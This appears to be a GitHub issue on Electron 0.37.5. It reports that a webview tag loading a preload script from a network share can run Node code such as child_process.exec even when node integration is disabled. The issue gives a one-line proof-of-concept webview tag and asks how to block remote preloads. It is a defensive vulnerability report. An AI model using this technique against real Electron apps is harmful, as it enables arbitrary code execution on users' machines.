<p dir="auto">Assuming that windows and webviews inherit the nodeintegration setting from parents, and nodeintegration is disabled, is still possible to run JS with full node integration via the Preload function.</p>
<p dir="auto"><code class="notranslate">&lt;webview src="data:text/html,&lt;script&gt;require('child_process').exec('notepad.exe',function(){})&lt;/script&gt;" preload="file:\\192.168.1.11\temp\test.js"&gt;&lt;/webview&gt; </code><br>
Currently seems that the only scheme accepted is file://, despite documentation saying that also asar:// is supported.</p>
<p dir="auto">What will be the best way to prevent Preloading files from the network?  asar:// was a local reference only? If so will be good to have that one back. Otherwise is there a way to implement a filter with event handling in the main.js to block remote files ?</p>
<p dir="auto">Is there a way to enable preload in main.js only and disable it in all renderers?</p>
<p dir="auto">Will  <a href="http://electron.atom.io/docs/v0.37.5/api/protocol/#protocol" rel="nofollow">protocol </a> module work to handle file:// in Preloads?</p>
<ul dir="auto">
<li>Electron version: 0.37.5</li>
<li>Operating system: Windows 10</li>
</ul>
<p dir="auto">Currently webview tag is available even when node integration is off, this can introduce security problems since webview can be used to execute arbitrary code.</p>
<p dir="auto">Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="123867656" data-permission-text="Title is private" data-url="https://github.com/electron/electron/issues/3921" data-hovercard-type="issue" data-hovercard-url="/electron/electron/issues/3921/hovercard" href="https://github.com/electron/electron/issues/3921">#3921</a>.</p>